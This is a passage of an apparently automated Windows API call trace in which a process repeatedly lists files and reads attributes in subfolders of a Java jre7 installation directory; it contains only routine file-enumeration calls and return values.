hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.126] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.126] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.126] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.126] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.126] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.126] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.126] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.126] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.127] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.127] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.127] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.127] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.127] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.313] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.313] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.316] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.316] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.316] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.316] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.316] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.316] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0082.316] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0082.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0082.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0082.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin\\client", lpFilePart=0x0) returned 0x2b [0082.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.317] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x372c0820, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x3a1777e0, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x3a1777e0, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.323] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin\\client", lpFilePart=0x0) returned 0x2b [0082.323] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe95d8 [0082.323] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.324] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0082.324] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0082.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.324] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin\\client", lpFilePart=0x0) returned 0x2b [0082.324] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe95d8 [0082.324] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.324] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.324] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.324] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.324] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0082.325] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0082.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.325] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin", lpFilePart=0x0) returned 0x2d [0082.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.325] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dtplugin"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x372c0820, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x372c0820, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x372c0820, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.414] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin", lpFilePart=0x0) returned 0x2d [0082.415] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9058 [0082.415] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.415] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.415] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.415] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0082.415] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0082.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.415] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin", lpFilePart=0x0) returned 0x2d [0082.416] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9058 [0082.416] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.416] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.416] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.416] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0082.416] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0082.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.416] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2", lpFilePart=0x0) returned 0x2c [0082.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0082.416] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\plugin2"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37332c40, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x37332c40, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x37332c40, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0082.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.418] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2", lpFilePart=0x0) returned 0x2c [0082.418] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9058 [0082.418] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.418] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.418] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.418] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0082.418] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0082.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0082.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2", lpFilePart=0x0) returned 0x2c [0082.419] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9058 [0082.419] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.419] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.419] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0082.419] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0082.419] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0082.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0082.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0082.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0082.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin", lpFilePart=0x0) returned 0x24 [0082.419] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9058 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.420] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.421] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.422] 